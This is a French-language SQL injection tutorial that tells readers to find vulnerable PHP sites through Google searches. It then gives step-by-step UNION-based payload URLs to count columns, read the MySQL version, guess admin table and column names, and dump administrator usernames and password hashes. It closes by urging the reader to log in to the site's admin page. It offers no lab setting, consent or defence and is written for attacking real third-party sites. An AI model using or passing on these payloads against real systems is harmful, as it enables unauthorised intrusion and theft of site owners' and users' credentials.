Injection SQL 1) Comment reconnaitre qu'un site est vulnérable a un SQL ? Commencons ce tuto en force ! Prénons un exemple d'un site par exemple: http://www.site-exemple.com/news.php?id=9 Maintenant, il faudra tester si ce site est vulnérable par SQL, c'est simple , nous ajoutons un ' OU *( quote ) et donc l'exemple deviendra : http://www.site-exemple.com/news.php?id=9' <= quote ajouté ! Pour trouver des sites sur Google, tapez dans la barre de recherche de Google par exemple: inurl:news.php?id= Une fois que vous avez trouvé votre site, si vous appercevez une erreur du genre: "You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc..." Ou une erreur de cet exemple, cela signifie que ce site est vulnérable par SQL. ^^ =============> 2) Trouver le nombre de columns. Pour trouver le nombre de columns , on utilisera " ORDER BY " qui demande a la base un résultat. Donc maintenant, comment on utilise cela? Eh bien simplement augmenter le nombre jusqu'à ce que nous obtenons une erreur comme dans l'exemple ci-dessous: http://www.site-exemple.com/news.php?id=9 order by 1 <-- no error http://www.site-exemple.com/news.php?id=9 order by 2 <-- no error http://www.site-exemple.com/news.php?id=9 order by 3 <-- no error http://www.site-exemple.com/news.php?id=9 order by 4 <-- error (une erreur du genre: Unknown column '4' in 'order clause' ou un truc de ce genre s'affichera) Cela signifie que l'on dispose de 3 colonnes, car nous avons reçu une cause d'erreur sur 4. =============> 3) Utiliser la fonction UNION. Passons aux choses un peux plus dure.. Avec la fonction UNION, nous avons la possibilité de sélectionner plusieurs données en un seul SQL a la fois. Donc nous aurons: http://www.site-exemple.com/news.php?id=9 union all select 1,2,3-- (nous avons deja trouver que le nombre de column est bien 3 , revoir la section (Chapitre I , cours : 2). =============> 4) Trouver la version du MySQL. Disons que nous avons le numero 2 , maintenant il faudra connaitre la version MySQL , pour cela nous allons remplacer le numero 2 par @@version ou version() et nous aurons quelques choses du genre: 4.1.33-log or 5.0.45 ou du meme type... alors l'exemple sera: http://www.site-exemple.com/news.php?id=9 union all select 1,@@version,3-- Bingo , la version du MySQL est devant vos yeux =============> 5) Trouver les noms des columns et tables et l'exploitation. Maintenant si la version est < 5 ( 4.1.33, 4.1.12...) , vous devez savoir que les noms de table commun pour cette version sont: user/s , admin/s , member/s ......... pour les columns c'est: username , user, usr, user_name, password, pass, passwd, pwd .... Passons a son exploitation: Cherchons la table d'admin: http://www.site-exemple.com/news.php?id=9 union all select 1,2,3 from admin-- Si vous appercevez le numero 2 , alors cela signifie que vous venez de trouver la table d'admin et qu'il existe... Cherchons les noms des columns: http://www.site-exemple.com/news.php?id=9 union all select 1,username,3 from admin-- (si vous avez une erreur ici , alors essayer un autre nom de column) Si nous avons le nom d'utilisateur qui s'affiche à l'écran, par exemple, être admin ou superadmin etc alors c'est bon... Maintenant pour la column de mot de passe, http://www.site-exemple.com/news.php?id=9 union all select 1,password,3 from admin-- (si vous avez une erreur ici , alors essayer un autre nom de column) Si nous avons le password a l'écran du type hash ou sans, alors c'est bon, le type varie en fonction de la base de donnée Il ne reste donc plus qu'a les mettre ensemble avec 0x3a , qui est une valeur de hex pour la colonne. http://www.site-exemple.com/news.php?id=9 union all select 1,concat(username,0x3a,password),3 from admin-- Vous allez voir quelques choses du genre: username:password , admin:admin , admin:unhash. Plus qu'a trouver le page admin du site et vous logguer. |